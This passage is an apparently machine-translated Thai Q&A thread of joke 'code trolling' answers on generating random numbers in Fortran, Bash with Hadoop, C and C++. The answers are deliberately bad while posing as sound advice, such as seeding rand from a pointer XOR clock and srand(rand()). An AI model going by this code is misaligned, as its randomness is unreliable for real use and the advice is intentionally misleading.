      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

เห็นได้ชัดว่าไม่ใช่แบบพกพาเนื่องจากผู้ใช้ต้องมีระบบ * nix (แต่ใครยังคงใช้ Windows ต่อไป?)


0

ฉันคิดว่าคุณแน่นอนความต้องการจำนวนมากของตัวเลขสุ่ม สิ่งที่เรียกร้องให้ ...

Bash และ Hadoop

แน่นอนว่าการใช้แหล่งสุ่มเพียงแหล่งเดียวนั้นไม่น่าเชื่อถือในยุคของ NSA พวกเขาอาจโทรจันคอมพิวเตอร์ของคุณ แต่พวกมันจะไม่ถูกโทรจันมาเป็นกลุ่มทั้งหมดของคุณ!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

ถัดไปสคริปต์จะรันงานคลัสเตอร์ตามต้องการ:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

ขอบคุณพระเจ้าพวกเรามีพลังของ Hadoop!


มันคือ Bash ที่ทำให้มันเป็นอย่างนั้นแหละ :)
Riot


0

ANSI C

มันค่อนข้างยุ่งยากและฉันจะไม่กังวลมากเกินไป เพียงแค่คัดลอกและวางโค้ดด้านล่างลงในห้องสมุดของคุณแล้วคุณจะเป็นทองตลอดไป

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

0

ลอง C ++ - รวดเร็วมีประสิทธิภาพทุกสิ่งที่คุณต้องการ:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

classโดยวิธีการที่ดีที่สุดเพื่อให้ได้ผลลัพธ์ที่คุณจะต้องการใช้


คำอธิบาย:
1. เขาไม่จำเป็นต้องใช้สิ่งนั้นclass - ซ้ำซ้อนโดยสิ้นเชิง
2. คำสั่ง return ในgenerate_num()จริง ๆ แล้วจะคืนค่าหมายเลข ^ (หมายเลข ^ 0) ซึ่งประเมินเป็นตัวเลข ^ 1 ซึ่งก็คือตัวเลข นี่คือซ้ำซ้อน
3. การจัดการข้อผิดพลาดที่ไม่จำเป็นที่สุด - สิ่งใดที่ผิดปกติกับการเจาะข้อมูลขั้นพื้นฐานนี้?
4. ฉันใช้std::ก่อนองค์ประกอบทั้งหมดของstdเนมสเปซ นี่คือซ้ำซ้อน
5. #defineข้อความไม่จำเป็นเช่นกัน - ฉันทำเพื่อทำให้เขาคิดว่าฉันได้กำหนดประเภทเหล่านั้นโดยเฉพาะสำหรับโปรแกรมนี้

คำเตือน:
โปรแกรมนี้ใช้งานได้จริง; อย่างไรก็ตามฉันไม่แนะนำบุคคลหรือนิติบุคคลใด ๆ ที่ใช้มันในรหัสของพวกเขาสำหรับชีวิตจริง ฉันไม่สงวนสิทธิ์ใด ๆ ในรหัสนี้ กล่าวอีกนัยหนึ่งฉันทำให้มันเป็นโอเพ่นซอร์สทั้งหมด


เป็นวิธีปฏิบัติที่ดีในการใช้std::คำนำหน้าโดยไม่ใช้using namespace stdเพื่อที่คุณจะไม่ก่อให้เกิดมลพิษต่อขอบเขตทั่วโลก (หากคุณขี้เกียจusing std::coutและสิ่งเหล่านั้นก็ยังดีกว่าusing namespace std)
nyuszika7h

โอ้ Bjarne Stroustrup บอกว่าจะใช้using namespace std;และระบุคลาสอื่นทั้งหมดโดยตรง

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.